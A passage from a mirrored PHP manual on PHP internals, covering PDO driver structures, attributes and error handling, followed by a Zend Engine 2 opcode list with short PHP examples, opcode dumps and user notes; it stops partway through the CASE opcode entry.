struct pdo_column_data *columns;
******
/* points at the dbh that this statement was prepared on */
    pdo_dbh_t *dbh;

    /* keep track of bound input parameters.  Some drivers support
     * input/output parameters, but you can't rely on that working */
    HashTable *bound_params;
    /* When rewriting from named to positional, this maps positions to names */
    HashTable *bound_param_map;
    /* keep track of PHP variables bound to named (or positional) columns
     * in the result set */
    HashTable *bound_columns;

    /* not always meaningful */
    long row_count;

    /* used to hold the statement's current query */
    char *query_string;
    int query_stringlen;

    /* the copy of the query with expanded binds ONLY for emulated-prepare drivers */
    char *active_query_string;
    int active_query_stringlen;

    /* the cursor specific error code. */
    pdo_error_type error_code;

    /* used by the query parser for driver specific
     * parameter naming (see pgsql driver for example) */
    const char *named_rewrite_template;
};
* | The driver must set this during SKEL_handle_preparer().
** | This item is for use by the driver; the intended usage is to store a pointer (during SKEL_handle_factory()) to whatever instance data is required to maintain a connection to the database.
*** | This is set by PDO after the statement has been executed for the first time. Your driver can inspect this value to determine if it can skip one-time actions as an optimization.
**** | Discussed in more detail in SKEL_handle_preparer.
***** | Your driver is responsible for setting this field to the number of columns available in a result set. This is usually set during SKEL_stmt_execute() but with some database implementations, the column count may not be available until SKEL_stmt_fetch() has been called at least once. Drivers that implement SKEL_stmt_next_rowset() should update the column count when a new rowset is available.
****** | PDO will allocate this field based on the value that you set for the column count. You are responsible for populating each column during SKEL_stmt_describe(). You must set the precision, maxlen, name, namelen and param_type members for each column. The name is expected to be allocated using emalloc(); PDO will call efree() at the appropriate time.

User Contributed Notes

There are no user contributed notes for this page.


Constants

Database and Statement Attributes Table

Attribute

Valid value(s)

PDO_ATTR_AUTOCOMMIT

BOOL

TRUE if autocommit is set, FALSE otherwise.

dbh->auto_commit contains value. Processed by PDO directly.

PDO_ATTR_PREFETCH

LONG

Value of the prefetch size in drivers that support it.

PDO_ATTR_TIMEOUT

LONG

How long to wait for a db operation before timing out.

PDO_ATTR_ERRMODE

LONG

Processed and handled by PDO

PDO_ATTR_SERVER_VERSION

STRING

The human-readable string representing the Server/Version this driver is currently connected to.

PDO_ATTR_CLIENT_VERSION

STRING

The human-readable string representing the Client/Version this driver supports.

PDO_ATTR_SERVER_INFO

STRING

The human-readable description of the Server.

PDO_ATTR_CONNECTION_STATUS

LONG

Values not yet defined

PDO_ATTR_CASE

LONG

Processed and handled by PDO.

PDO_ATTR_CURSOR_NAME

STRING

String representing the name for a database cursor for use in where current in <name> SQL statements.

PDO_ATTR_CURSOR

LONG

PDO_CURSOR_FWDONLY

Forward only cursor

PDO_CURSOR_SCROLL

Scrollable cursor

The values for the attributes above are all defined in terms of the Zend API. The Zend API contains macros that can be used to convert a *zval to a value. These macros are defined in the Zend header file, zend_API.h in the Zend directory of your PHP build directory. Some of these attributes can be used with the statement attribute handlers such as the PDO_ATTR_CURSOR and PDO_ATTR_CURSOR_NAME. See the statement attribute handling functions for more information.

User Contributed Notes

There are no user contributed notes for this page.


Error handling

Error handling is implemented using a hand-shaking protocol between PDO and the database driver code. The database driver code signals PDO that an error has occurred via a failure (0) return from any of the interface functions. If a zero is returned, set the field error_code in the control block appropriate to the context (either the pdo_dbh_t or pdo_stmt_t block). In practice, it is probably a good idea to set the field in both blocks to the same value to ensure the correct one is getting used.

The error_mode field is a six-byte field containing a 5 character ASCIIZ SQLSTATE identifier code. This code drives the error message process. The SQLSTATE code is used to look up an error message in the internal PDO error message table (see pdo_sqlstate.c for a list of error codes and their messages). If the code is not known to PDO, a default Unknown Message value will be used.

In addition to the SQLSTATE code and error message, PDO will call the driver-specific fetch_err() routine to obtain supplemental data for the particular error condition. This routine is passed an array into which the driver may place additional information. This array has slot positions assigned to particular types of supplemental info:

  1. A native error code. This will frequently be an error code obtained from the database API.

  2. A descriptive string. This string can contain any additional information related to the failure. Database drivers typically include information such as an error message, code location of the failure, and any additional descriptive information the driver developer feels worthy of inclusion. It is generally a good idea to include all diagnostic information obtainable from the database interface at the time of the failure. For driver-detected errors (such as memory allocation problems), the driver developer can define whatever error information that seems appropriate.

User Contributed Notes

There are no user contributed notes for this page.


  • ? Error handling
  • Zend Engine 2 API 参考 ?
  • PHP Manual
  • PHP 核心：骇客指南
  • 扩展相关 FAQ

扩展相关 FAQ

User Contributed Notes

There are no user contributed notes for this page.


  • ? 扩展相关 FAQ
  • Zend Engine 2 操作码列表 ?
  • PHP Manual
  • PHP 核心：骇客指南
  • Zend Engine 2 API 参考

Zend Engine 2 API 参考

User Contributed Notes

There are no user contributed notes for this page.


Zend Engine 2 操作码列表

Table of Contents

  • Opcode Descriptions and Examples

Opcode

此页列出并收录了由 Zend Engine 2 解析 PHP 文件而生成的全部Opcode。使用 vld 扩展(参见 » https://pecl.php.net/package/vld)的 PHP 文件的Opcode可能会被丢弃。

Opcode 列表
编号 | 名称 | 是否有例子代码
0 | NOP | 是
1 | ADD | 是
2 | SUB | 是
3 | MUL | 是
4 | DIV | 是
5 | MOD | 是
6 | SL | 是
7 | SR | 是
8 | CONCAT | 是
9 | BW_OR | 是
10 | BW_AND | 是
11 | BW_XOR | 是
12 | BW_NOT | 是
13 | BOOL_NOT | 是
14 | BOOL_XOR | 是
15 | IS_IDENTICAL | 是
16 | IS_NOT_IDENTICAL | 是
17 | IS_EQUAL | 是
18 | IS_NOT_EQUAL | 是
19 | IS_SMALLER | 是
20 | IS_SMALLER_OR_EQUAL | 是
21 | CAST | 是
22 | QM_ASSIGN | 是
23 | ASSIGN_ADD | 是
24 | ASSIGN_SUB | 是
25 | ASSIGN_MUL | 是
26 | ASSIGN_DIV | 是
27 | ASSIGN_MOD | 是
28 | ASSIGN_SL | 是
29 | ASSIGN_SR | 是
30 | ASSIGN_CONCAT | 是
31 | ASSIGN_BW_OR | 是
32 | ASSIGN_BW_AND | 是
33 | ASSIGN_BW_XOR | 是
34 | PRE_INC | 是
35 | PRE_DEC | 是
36 | POST_INC | 是
37 | POST_DEC | 是
38 | ASSIGN | 是
39 | ASSIGN_REF | 是
40 | ECHO | 是
41 | PRINT | 是
42 | 未收录 | 否
43 | JMPZ | 是
44 | JMPNZ | 是
45 | JMPZNZ | 是
46 | JMPZ_EX | 是
47 | JMPNZ_EX | 是
48 | CASE | 是
49 | SWITCH_FREE | 是
50 | BRK | 是
51 | 未收录 | 否
52 | BOOL | 是
53 | INIT_STRING | 是
54 | ADD_CHAR | 是
55 | ADD_STRING | 是
56 | ADD_VAR | 是
57 | BEGIN_SILENCE | 是
58 | END_SILENCE | 是
59 | INIT_FCALL_BY_NAME | 是
60 | DO_FCALL | 是
61 | DO_FCALL_BY_NAME | 是
62 | RETURN | 是
63 | RECV | 是
64 | RECV_INIT | 是
65 | SEND_VAL | 是
66 | SEND_VAR | 是
67 | SEND_REF | 是
68 | NEW | 是
69 | 未收录 | 否
70 | FREE | 是
71 | INIT_ARRAY | 是
72 | ADD_ARRAY_ELEMENT | 是
73 | INCLUDE_OR_EVAL | 是
74 | UNSET_VAR | 是
75 | UNSET_DIM | 是
76 | UNSET_OBJ | 是
77 | FE_RESET | 是
78 | FE_FETCH | 是
79 | EXIT | 是
80 | FETCH_R | 是
81 | FETCH_DIM_R | 是
82 | FETCH_OBJ_R | 是
83 | FETCH_W | 是
84 | FETCH_DIM_W | 是
85 | FETCH_OBJ_W | 是
86 | FETCH_RW | 是
87 | FETCH_DIM_RW | 是
88 | FETCH_OBJ_RW | 是
89 | FETCH_IS | 是
90 | FETCH_DIM_IS | 否
91 | FETCH_OBJ_IS | 否
92 | FETCH_FUNC_ARG | 是
93 | FETCH_DIM_FUNC_ARG | 是
94 | FETCH_OBJ_FUNC_ARG | 是
95 | FETCH_UNSET | 否
96 | FETCH_DIM_UNSET | 否
97 | FETCH_OBJ_UNSET | 否
98 | FETCH_DIM_TMP_VAR | 是
99 | FETCH_CONSTANT | 是
100 | 未收录 | 否
101 | EXT_STMT | 否
102 | EXT_FCALL_BEGIN | 否
103 | EXT_FCALL_END | 否
104 | EXT_NOP | 否
105 | TICKS | 是
106 | SEND_VAR_NO_REF | 否
107 | CATCH | 是
108 | THROW | 是
109 | FETCH_CLASS | 是
110 | CLONE | 是
111 | 未收录 | 否
112 | INIT_METHOD_CALL | 是
113 | INIT_STATIC_METHOD_CALL | 是
114 | ISSET_ISEMPTY_VAR | 是
115 | ISSET_ISEMPTY_DIM_OBJ | 是
116 | 未收录 | 否
117 | 未收录 | 否
118 | 未收录 | 否
119 | 未收录 | 否
120 | 未收录 | 否
121 | 未收录 | 否
122 | 未收录 | 否
123 | 未收录 | 否
124 | 未收录 | 否
125 | 未收录 | 否
126 | 未收录 | 否
127 | 未收录 | 否
128 | 未收录 | 否
129 | 未收录 | 否
130 | 未收录 | 否
131 | 未收录 | 否
132 | PRE_INC_OBJ | 是
133 | PRE_DEC_OBJ | 是
134 | POST_INC_OBJ | 是
135 | POST_DEC_OBJ | 是
136 | ASSIGN_OBJ | 是
137 | 未收录 | 否
138 | INSTANCEOF | 是
139 | DECLARE_CLASS | 是
140 | DECLARE_INHERITED_CLASS | 是
141 | DECLARE_FUNCTION | 是
142 | RAISE_ABSTRACT_ERROR | 是
143 | 未收录 | 否
144 | ADD_INTERFACE | 否
145 | 未收录 | 否
146 | VERIFY_ABSTRACT_CLASS | 否
147 | ASSIGN_DIM | 是
148 | ISSET_ISEMPTY_PROP_OBJ | 是
149 | HANDLE_EXCEPTION | 是
150 | USER_OPCODE | 否
152 | ZEND_JMP_SET | 否
153 | ZEND_DECLARE_LAMBDA_FUNCTION | 否

User Contributed Notes

There are no user contributed notes for this page.


Opcode Descriptions and Examples

Table of Contents

  • ADD
  • ADD_ARRAY_ELEMENT
  • ADD_CHAR
  • ADD_INTERFACE
  • ADD_STRING
  • ADD_VAR
  • ASSIGN
  • ASSIGN_ADD
  • ASSIGN_BW_AND
  • ASSIGN_BW_OR
  • ASSIGN_BW_XOR
  • ASSIGN_CONCAT
  • ASSIGN_DIM
  • ASSIGN_DIV
  • ASSIGN_MOD
  • ASSIGN_MUL
  • ASSIGN_OBJ
  • ASSIGN_REF
  • ASSIGN_SL
  • ASSIGN_SR
  • ASSIGN_SUB
  • BEGIN_SILENCE
  • BOOL
  • BOOL_NOT
  • BOOL_XOR
  • BRK
  • BW_AND
  • BW_NOT
  • BW_OR
  • BW_XOR
  • CASE
  • CAST
  • CATCH
  • CLONE
  • CONCAT
  • CONT
  • DECLARE_CLASS
  • DECLARE_CONST
  • DECLARE_FUNCTION
  • DECLARE_INHERITED_CLASS
  • DECLARE_INHERITED_CLASS_DELAYED
  • DIV
  • DO_FCALL
  • DO_FCALL_BY_NAME
  • ECHO
  • END_SILENCE
  • EXIT
  • EXT_FCALL_BEGIN
  • EXT_FCALL_END
  • EXT_NOP
  • EXT_STMT
  • FE_FETCH
  • FE_RESET
  • FETCH_CLASS
  • FETCH_CONSTANT
  • FETCH_DIM_FUNC_ARG
  • FETCH_DIM_IS
  • FETCH_DIM_R
  • FETCH_DIM_RW
  • FETCH_DIM_TMP_VAR
  • FETCH_DIM_UNSET
  • FETCH_DIM_W
  • FETCH_FUNC_ARG
  • FETCH_IS
  • FETCH_OBJ_FUNC_ARG
  • FETCH_OBJ_IS
  • FETCH_OBJ_R
  • FETCH_OBJ_RW
  • FETCH_OBJ_UNSET
  • FETCH_OBJ_W
  • FETCH_R
  • FETCH_RW
  • FETCH_UNSET
  • FETCH_W
  • FREE
  • GOTO
  • HANDLE_EXCEPTION
  • INCLUDE_OR_EVAL
  • INIT_ARRAY
  • INIT_FCALL_BY_NAME
  • INIT_METHOD_CALL
  • INIT_NS_FCALL_BY_NAME
  • INIT_STATIC_METHOD_CALL
  • INIT_STRING
  • INSTANCEOF
  • IS_EQUAL
  • IS_IDENTICAL
  • IS_NOT_EQUAL
  • IS_NOT_IDENTICAL
  • IS_SMALLER
  • IS_SMALLER_OR_EQUAL
  • ISSET_ISEMPTY_DIM_OBJ
  • ISSET_ISEMPTY_PROP_OBJ
  • ISSET_ISEMPTY_VAR
  • JMP
  • JMPNZ
  • JMPNZ_EX
  • JMPZ
  • JMPZ_EX
  • JMPZNZ
  • MOD
  • MUL
  • NEW
  • NOP
  • POST_DEC
  • POST_DEC_OBJ
  • POST_INC
  • POST_INC_OBJ
  • PRE_DEC
  • PRE_DEC_OBJ
  • PRE_INC
  • PRE_INC_OBJ
  • PRINT
  • QM_ASSIGN
  • RAISE_ABSTRACT_ERROR
  • RECV
  • RECV_INIT
  • RETURN
  • RETURN_BY_REF
  • SEND_REF
  • SEND_VAL
  • SEND_VAR
  • SEND_VAR_NO_REF
  • SL
  • SR
  • SUB
  • SWITCH_FREE
  • THROW
  • TICKS
  • UNSET_DIM
  • UNSET_OBJ
  • UNSET_VAR
  • USER_OPCODE
  • VERIFY_ABSTRACT_CLASS
  • ZEND_DECLARE_LAMBDA_FUNCTION
  • ZEND_JMP_SET

User Contributed Notes

There are no user contributed notes for this page.


ADD

PHP code

<?php
/*
 * Adds "value1" to "value2" and stores the result into "result".
 * opcode number: 1
 */
echo 1 + 2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | ADD |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

jcastromail at yahoo dot es 07-Jan-2018 10:35
For you information
Using +0 for casting a string into a integer works but it generates a warning in php 7.1+

PHP 5.X:   "abc"+0 = 0
PHP 7.0:   "abc"+0 = 0
PHP 7.1:   "abc"+0 = 0 (Warning: A non-numeric value encountered in..)

The correct way (if you are using it for casting) is to do

PHP 7.1:   (int)"abc" = 0
hulupiao at sina dot cn 19-Jun-2017 09:17
$ php -v
PHP 7.1.5 (cli) (built: May 13 2017 13:30:32) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
    with Zend OPcache v7.1.5, Copyright (c) 1999-2017, by Zend Technologies
    with Xdebug v2.5.4, Copyright (c) 2002-2017, by Derick Rethans
--------------------------------
$ cat test.php
<?php
echo 1 + 2;
--------------------------------
$ php -dvld.active=1 test.php
Finding entry points
Branch analysis from position: 0
Jump found. (Code = 62) Position 1 = -2
filename:       /data/test.php
function name:  (null)
number of ops:  3
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   EXT_STMT
         1        ECHO                                                     3
   4     2      > RETURN                                                   1
fengdingbo at gmail dot com 14-Aug-2013 04:56
<?php
echo 1+2;
?>
qiufeng@ubuntu:~$ php -dvld.active=1 test.php
Finding entry points
Branch analysis from position: 0
Return found
filename:       /home/qiufeng/test.php
function name:  (null)
number of ops:  3
compiled vars:  none
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   ADD                                              ~0      1, 2
         1      ECHO                                                     ~0
   3     2    > RETURN                                                   1

branch: #  0; line:     2-    3; sop:     0; eop:     2
path #1: 0,


ADD_ARRAY_ELEMENT

PHP code

<?php
/*
 * Add elem-value as an element to array-value
 * opcode number: 72
 */
$a = array(1,2,3);
print_r($a);
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | SEND_VAR |  |  |  | !0
 | 5 | DO_FCALL |  | 1 |  | 'print_r'
8 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ADD_CHAR

PHP code

<?php
/*
 * add regular characters in encapsed string
 * opcode number: 54
 */
echo "$a ";
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ADD_VAR |  |  |  | !0
 | 1 | ADD_CHAR |  |  |  | 32
 | 2 | ECHO |  |  |  |
 | 3 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ADD_INTERFACE

PHP code

<?php
/*
 * adds an implemented interface to a class declaration
 * opcode number: 144
 */
interface iA {
}

class A implements iA {
}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
 | 1 | DECLARE_CLASS |  |  |  | 'a'
 | 2 | ADD_INTERFACE |  |  |  | 'iA'
 | 3 | VERIFY_ABSTRACT_CLASS |  |  |  |
 | 3 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ADD_STRING

PHP code

<?php
/*
 * add string value2 to string value2 and store in result
 * opcode number: 55
 */
echo "hello$a world";
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ADD_STRING |  |  | ~0 | 'hello'
 | 1 | ADD_VAR |  |  | ~0 | ~0,!0
 | 2 | ADD_STRING |  |  | ~0 | ~0,'+world'
 | 3 | ECHO |  |  |  | ~0
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ADD_VAR

PHP code

<?php
/*
 * add contents of variable in value2 to string value1 and store in result
 * opcode number: 56
 */
echo "hello$a world";
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ADD_STRING |  |  | ~0 | 'hello'
 | 1 | ADD_VAR |  |  | ~0 | ~0,!0
 | 2 | ADD_STRING |  |  | ~0 | ~0,'+world'
 | 3 | ECHO |  |  |  | ~0
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

fengdingbo at gmail dot com 22-Jul-2013 05:55
<?php
$abc = 'ok';
$php = 'php';
echo "$php";
?>
qiufeng@ubuntu:~/tmp/php$ php -dvld.active=1 test.php
Finding entry points
Branch analysis from position: 0
Return found
filename:       /home/qiufeng/tmp/php/test.php
function name:  (null)
number of ops:  4
compiled vars:  !0 = $abc, !1 = $php
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   ASSIGN                                                   !0, 'ok'
   3     1      ASSIGN                                                   !1, 'php'
   4     2      ECHO                                                     !1
   6     3    > RETURN                                                   1

branch: #  0; line:     2-    6; sop:     0; eop:     3
path #1: 0,


ASSIGN

PHP code

<?php
/*
 * assigns value1 to result
 * opcode number: 38
 */
$a=1;
$a='a';
$a=new A();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | ASSIGN |  |  |  | !0,'a'
8 | 2 | ZEND_FETCH_CLASS |  |  | :2 | 'A'
 | 3 | NEW |  |  | $3 | :2
 | 4 | DO_FCALL_BY_NAME |  | 0 |  |
 | 5 | ASSIGN |  |  |  | !0,$3
9 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_ADD

PHP code

<?php
/*
 * Add value1 to value2 and store in variable indicated by value1
 * opcode number: 23
 */
$a+=3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_ADD |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_BW_AND

PHP code

<?php
/*
 * Performs binary AND on result and value1 and stores in variable indicated by result.
 * opcode number: 32
 */
$a &= 64;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_BW_AND |  |  |  | !0,64
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_BW_OR

PHP code

<?php
/*
 * Performs binary OR on result and value1 and stores in variable indicated by result.
 * opcode number: 31
 */
$a |= 64;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_BW_OR |  |  |  | !0,64
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_BW_XOR

PHP code

<?php
/*
 * Performs binary XOR on result and value1and stores in variable indicated by result.
 * opcode number: 33
 */
$a ^= 64;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_BW_XOR |  |  |  | !0,64
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_CONCAT

PHP code

<?php
/*
 * Concats string values result and value1 and store in variable indicated by result
 * opcode number: 30
 */
$a .= 'z';
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_CONCAT |  |  |  | !0,'z'
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_DIM

PHP code

<?php
/*
 *
 * opcode number: 147
 */
$b = 1;
$a[1][2] = $b;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$b, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | FETCH_DIM_W |  |  | $1 | !1,1
 | 2 | ZEND_ASSIGN_DIM |  |  |  | $1,2
 | 3 | ZEND_OP_DATA |  |  |  | !0,$3
8 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_DIV

PHP code

<?php
/*
 * Divide result by value1and store in variable indicated by result.
 * opcode number: 26
 */
$a/=3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_DIV |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_MOD

PHP code

<?php
/*
 * Perform result mod value1 and store in variable indicated by result
 * opcode number: 27
 */
$a %= 3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_MOD |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_MUL

PHP code

<?php
/*
 * Multiply result by value1 and store in variable indicated by result
 * opcode number: 25
 */
$a*=3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_MUL |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_OBJ

PHP code

<?php
/*
 *
 * opcode number: 136
 */
$obj->a = $otherobj;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj, !1=$otherobj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_ASSIGN_OBJ |  |  |  | !0,'a'
 | 1 | ZEND_OP_DATA |  |  |  | !1
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_REF

PHP code

<?php
/*
 * indicates that variable indicated by value1 is to be treated in the global scope for the remainder of the current scope.
 * opcode number: 39
 */
global $a;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | FETCH_W | globallock |  | $0 | 'a'
 | 1 | ASSIGN_REF |  |  |  | !0,$0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_SL

PHP code

<?php
/*
 * Shift result by value1 bits to left and store in variable indicated by result
 * opcode number: 28
 */
$a <<= 3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_SL |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_SR

PHP code

<?php
/*
 * Shift result by value1 bits to right and store in variable indicated by result
 * opcode number: 29
 */
$a >>= 3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_SR |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ASSIGN_SUB

PHP code

<?php
/*
 * Subtract value1 from value2 and store in variable indicated by value1
 * opcode number: 24
 */
$a-=3;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN_SUB |  |  |  | !0,3
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BEGIN_SILENCE

PHP code

<?php
/*
 * prepare to perform function call without displaying error messages
 * opcode number: 57
 */
/* Intentional file error */
$my_file = @file ('non_existent_file') or
   die ("error:'$php_errormsg'");
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$my_file, !1=$php_errormsg

line | # | op | fetch | ext | return | operands
7 | 0 | BEGIN_SILENCE |  |  | ~0 |
 | 1 | SEND_VAL |  |  |  | 'non_existent_file'
 | 2 | DO_FCALL |  | 1 |  | 'file'
 | 3 | END_SILENCE |  |  |  | ~0
 | 4 | ASSIGN |  |  | $2 | !0,$1
 | 5 | JMPNZ_EX |  |  | ~3 | $2,->11
8 | 6 | ADD_STRING |  |  | ~4 | 'error%3A%27'
 | 7 | ADD_VAR |  |  | ~4 | ~4,!1
 | 8 | ADD_CHAR |  |  | ~4 | ~4,39
 | 9 | EXIT |  |  |  | ~4
 | 10 | BOOL |  |  | ~3 | true
 | 11 | FREE |  |  |  | ~3
9 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BOOL

PHP code

<?php
/*
 * convert value1 to boolean and store in result??????????
 * opcode number: 52
 */
if (1 || 2 || 1) echo "foo";
//$a = true;
//if($a) echo "foo";
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | JMPNZ_EX |  |  | ~0 | 1,->2
 | 1 | BOOL |  |  | ~0 | 2
 | 2 | JMPNZ_EX |  |  | ~0 | ~0,->4
 | 3 | BOOL |  |  | ~0 | 1
 | 4 | JMPZ |  |  |  | ~0,->7
 | 5 | ECHO |  |  |  | 'foo'
 | 6 | JMP |  |  |  | ->7
9 | 7 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BOOL_NOT

PHP code

<?php
/*
 * Boolean (logical) not of "value"
 * opcode number: 13
 */
echo !1;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BOOL_NOT |  |  | ~0 | 1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BOOL_XOR

PHP code

<?php
/*
 * Boolean (logical) xor of value1
 * opcode number: 14
 */
echo 1 xor 2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BOOL_XOR |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BRK

PHP code

<?php
/*
 * ???  End of a case block exists the current switch block.  Followed by JMP?
 * opcode number: 50
 */
$x = 0;
while(1) {
    if($x == 0) break;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,0
7 | 1 | JMPZ |  |  |  | 1,->7
8 | 2 | IS_EQUAL |  |  | ~1 | !0,0
 | 3 | JMPZ |  |  |  | ~1,->6
 | 4 | BRK |  |  |  | 1
 | 5 | JMP |  |  |  | ->6
9 | 6 | JMP |  |  |  | ->1
10 | 7 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BW_AND

PHP code

<?php
/*
 * Bit-wise and of value1 and value2
 * opcode number: 10
 */
echo 1&2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BW_AND |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BW_NOT

PHP code

<?php
/*
 * Bit-wise not of "value"
 * opcode number: 12
 */
echo ~15;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BW_NOT |  |  | ~0 | 15
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BW_OR

PHP code

<?php
/*
 * Bit-wise or of value1 and value2
 * opcode number: 9
 */
echo 1|2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BW_OR |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


BW_XOR

PHP code

<?php
/*
 * Bit-wise xor of value1 and value2
 * opcode number: 11
 */
echo 1^2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BW_XOR |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CASE

PHP code

<?php
/*
 * Set result to true if value1 equals value2.  The value2 must be a constant value?
 * opcode number: 48
 */
$i=0;
switch ($i) {
   case 0:
         echo "i=0";
         break;
   case 1:
         echo "i=1";
         break;
   case 2:
         echo "i=2";
         break;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$i

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,0
